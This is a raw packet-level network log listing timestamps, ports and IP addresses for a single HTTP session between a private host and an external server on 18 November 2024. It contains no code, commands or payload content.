Nov 18, 2024 02:34:27.451586008 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451600075 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451606035 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.451611996 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451628923 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.451653004 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.451678038 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451689959 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451699018 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451710939 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451720953 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451733112 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451740980 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.451744080 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451756954 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451766014 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451769114 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.451776981 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451788902 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451788902 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.451824903 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451828957 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.451842070 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451860905 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451874018 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451879025 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.451890945 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451894999 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.451903105 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451914072 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451925039 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451931000 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.451936960 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451950073 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451953888 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.451961040 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451980114 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.451982021 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.451996088 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452006102 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.452007055 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452029943 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.452306032 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452316999 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452327013 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452338934 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452352047 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452353001 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.452363014 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452389002 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.452399969 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.452464104 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452476025 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452487946 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452498913 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452510118 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452512980 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.452522039 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452531099 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452541113 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452547073 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452558041 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452569008 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.452569008 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452583075 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452589035 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.452603102 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452613115 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452622890 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452624083 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.452636957 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452637911 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.452650070 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452661991 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452662945 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.452673912 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452685118 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452692986 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.452704906 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452713013 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.452719927 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452730894 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452742100 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452754021 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452760935 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.452765942 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452778101 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452785015 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.452790976 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452801943 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452814102 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452816963 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.452827930 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452832937 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.452845097 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452852011 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452861071 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452872992 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452884912 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452886105 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.452896118 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452908993 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.452913046 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.452948093 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.453295946 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453308105 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453319073 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453330994 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453341007 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453351021 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.453352928 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453365088 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453366995 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.453377008 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453387976 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453399897 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453402042 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.453411102 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453423023 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.453433037 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453443050 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453455925 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453457117 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.453469992 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453481913 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453485966 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.453494072 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453505993 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453516960 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453520060 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.453530073 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453540087 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453546047 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.453551054 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453562975 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453577042 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453588963 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.453593969 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453605890 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453615904 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.453618050 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453625917 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.453629971 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453643084 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453655005 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453665018 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453672886 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.453680992 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453691959 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453702927 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453706980 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.453715086 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453727007 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453739882 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453747988 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.453752041 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453764915 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453773975 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.453777075 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453788042 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453799009 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453809977 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453811884 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.453823090 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453834057 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.453844070 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.453854084 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.453883886 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.454276085 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454288960 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454299927 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454312086 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454325914 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454332113 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.454339027 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454353094 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454365015 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454375982 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454380989 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.454380989 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.454387903 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454400063 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454426050 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.454433918 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454444885 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454447031 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.454457998 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454473019 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454483032 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454483032 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.454495907 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454508066 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.454516888 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454528093 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.454528093 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454543114 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454554081 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454559088 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.454566956 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454586983 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454596996 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.454600096 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454612970 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454617023 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.454624891 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454636097 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.454647064 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454658985 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454660892 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.454703093 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.454725027 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454737902 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454749107 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454761028 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454772949 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454777956 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.454787016 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454797983 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454807997 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.454808950 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454821110 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.454821110 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454833984 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454844952 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454850912 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.454857111 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454869986 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454881907 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454883099 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.454894066 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454906940 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454909086 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.454919100 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454931974 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.454936028 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.454956055 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.455081940 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.455193043 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455205917 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455215931 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455229044 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455238104 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.455243111 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455255032 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455265045 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455276012 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455277920 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.455288887 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455297947 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.455332994 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.455362082 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455374956 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455384970 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455398083 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455410004 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455410004 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.455421925 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455425978 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.455435038 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455446959 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455457926 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455467939 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455477953 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455482006 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.455482006 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.455491066 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455498934 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.455511093 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455519915 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.455523968 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455534935 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455543995 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.455547094 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455560923 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455571890 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.455580950 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455593109 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455595016 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.455605984 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455616951 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455617905 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.455627918 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455638885 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455652952 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455652952 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.455666065 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455674887 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.455679893 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455692053 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455704927 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.455704927 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455720901 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455724001 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.455734015 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455744028 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455754995 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455760956 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.455768108 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455779076 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455779076 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.455790997 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455801964 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.455811977 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.455842018 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.456110001 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456124067 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456135035 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456151009 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456160069 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.456161976 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456176043 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456193924 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.456260920 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456273079 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456284046 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456295967 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456301928 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456307888 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456311941 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.456319094 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456331968 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456341982 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456350088 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.456357956 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456365108 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.456384897 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.456404924 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456417084 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456427097 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456439018 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456449986 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456458092 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.456461906 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456473112 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456484079 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456494093 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456506014 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.456506014 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:27.456516981 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:27.456518888 CET	80	49776	185.215.113.16	192.168.2.6
